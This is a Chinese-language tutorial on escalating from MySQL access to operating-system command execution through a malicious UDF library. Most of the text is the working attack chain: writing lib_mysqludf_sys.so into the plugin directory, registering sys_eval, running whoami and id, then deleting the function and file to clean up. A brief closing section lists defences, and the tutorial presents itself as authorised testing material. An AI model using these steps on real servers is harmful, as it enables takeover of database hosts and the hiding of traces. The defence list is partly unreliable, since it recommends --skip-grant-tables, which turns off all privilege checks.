UDF(User Defined Function)允許將共享庫函數註冊為 MySQL 函數。攻擊者若擁有 INSERT 權限於 mysql.func 表且插件目錄可寫,可加載惡意 .so 實現任意命令執行。**本文僅供防禦研究與滲透測試授權範圍內使用,嚴禁非法攻擊。**
mysql.func 表存在(5.1+ 默認有)。--skip-grant-tables(該模式禁用 UDF)。.so 匹配(x86_64/i386)。SHOW VARIABLES LIKE 'plugin_dir'; -- /usr/lib/mysql/plugin
# sqlmap 內置 ls /pentest/database/sqlmap/udf/mysql/linux/64/ # lib_mysqludf_sys.so
-- 本地讀取轉 hex
SELECT HEX(LOAD_FILE('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so'))
INTO OUTFILE '/tmp/udf.txt';
-- 確保插件目錄可寫(測試環境臨時放寬,生產環境需 root 權限)
-- chmod 777 /usr/lib/mysql/plugin
-- 寫入插件目錄
SELECT UNHEX('7F454C4602010100...') INTO DUMPFILE '/usr/lib/mysql/plugin/mysqludf.so';
nm -D /usr/lib/mysql/plugin/mysqludf.so | grep sys_eval # 0000000000000e46 T sys_eval
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'mysqludf.so';
SELECT sys_eval('whoami');
-- mysql
SELECT sys_eval('id');
-- uid=1000(mysql) gid=1000(mysql) groups=1000(mysql)
DROP FUNCTION sys_eval; DELETE FROM mysql.func WHERE name='sys_eval'; -- 刪除 /usr/lib/mysql/plugin/mysqludf.so
mysql,禁止 root 啟動。chmod 755 /usr/lib/mysql/plugin; chown root:root。--skip-grant-tables(副作用:跳過所有權限檢查,慎用)或編譯時 -DWITHOUT_UDF=1。audit_plugin 記錄 CREATE FUNCTION/DROP FUNCTION,告警異常註冊。.so 文件哈希值。lib_mysqludf_sys.dll(sqlmap/windows/x86_64)。C:\Program Files\MySQL\MySQL Server 5.7\lib\plugin\。CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';UDF 提權屬於「後利用」階段,核心在於「插件目錄寫權限 + mysql.func 寫權限」。落實最小權限、目錄不可寫、審計監控三層防線,可將風險降至最低。